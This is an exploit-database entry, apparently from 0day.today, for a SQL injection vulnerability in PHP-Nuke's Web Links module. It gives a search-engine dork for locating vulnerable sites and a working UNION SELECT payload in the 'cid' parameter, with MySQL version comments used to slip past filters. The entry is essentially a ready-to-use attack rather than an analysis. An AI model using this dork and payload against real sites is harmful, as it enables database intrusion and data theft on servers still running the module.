PHP-Nuke Web Links SQL Injection Vulnerability

2014-05-20T00:00:00
ID 1337DAY-ID-22268
Type zdt
Reporter AtT4CKxT3rR0r1ST
Modified 2014-05-20T00:00:00

Description

PHP-Nuke Web Links suffers from a remote SQL injection vulnerability.

                                        
                                            PHP-Nuke module(Web Links) - Sql Injection Vulnerabilty
===================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST
.:. Contact        : [[email protected]] , [[email protected]]
.:. Home           : http://www.iphobos.com/blog/
.:. Script         : https://www.phpnuke.org/
.:. Dork           : inurl:"modules.php?op=" & "name=Web_Links"
####################################################################

#########
EXPLOIT
#########
Type:  Mysql Injection

http://SITE/modules.php?op=modload&name=Web_Links&file=index&req=viewlink&cid=[SQLINJECTION]

http://SITE/modules.php?op=modload&name=Web_Links&file=index&req=viewlink&cid=-1+/*!50000UnIoN*/+/*!50000SeLeCt*/+1,2

####################################################################

#  0day.today [2018-01-03]  #